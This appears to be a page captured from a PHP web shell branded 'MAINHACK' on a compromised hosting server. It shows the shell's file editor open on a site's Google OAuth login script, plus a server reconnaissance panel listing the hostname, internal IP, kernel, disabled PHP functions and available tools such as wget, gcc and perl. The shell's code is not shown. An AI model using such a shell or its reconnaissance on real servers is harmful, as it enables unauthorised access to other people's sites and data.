[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: gauth.php
<?php session_start(); ob_start(); require_once('settings.php'); require_once('google-login-api.php'); // Google passes a parameter 'code' in the Redirect Url if(isset($_GET['code'])) { try { $gapi = new GoogleLoginApi(); // Get the access token $data = $gapi->GetAccessToken(CLIENT_ID, CLIENT_REDIRECT_URL, CLIENT_SECRET, $_GET['code']); // Get user information $user_info = $gapi->GetUserProfileInfo($data['access_token']); // $gClient->authenticate($_GET['code']); $_SESSION['token'] = $user_info; $_SESSION['token']['type']='client'; } catch(Exception $e) { echo $e->getMessage(); exit(); } } if(isset($_SESSION['token'])){ header('location:../google_login.php'); } ?> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <style type="text/css"> #information-container { width: 400px; margin: 50px auto; padding: 20px; border: 1px solid #cccccc; } .information { margin: 0 0 30px 0; } .information label { display: inline-block; vertical-align: middle; width: 150px; font-weight: 700; } .information span { display: inline-block; vertical-align: middle; } .information img { display: inline-block; vertical-align: middle; width: 100px; } </style> </head> <body> <div id="information-container"> <div class="information"> <label>Name</label><span><?= $user_info['name'] ?></span> </div> <div class="information"> <label>ID</label><span><?= $user_info['id'] ?></span> </div> <div class="information"> <label>Email</label><span><?= $user_info['email'] ?></span> </div> <div class="information"> <label>Email Verified</label><span><?= $user_info['verified_email'] == true ? 'Yes' : 'No' ?></span> </div> <div class="information"> <label>Picture</label><img src="<?= $user_info['picture'] ?>" /> <?php echo $_SESSION['token'] ['email'];?> </div> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.49 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619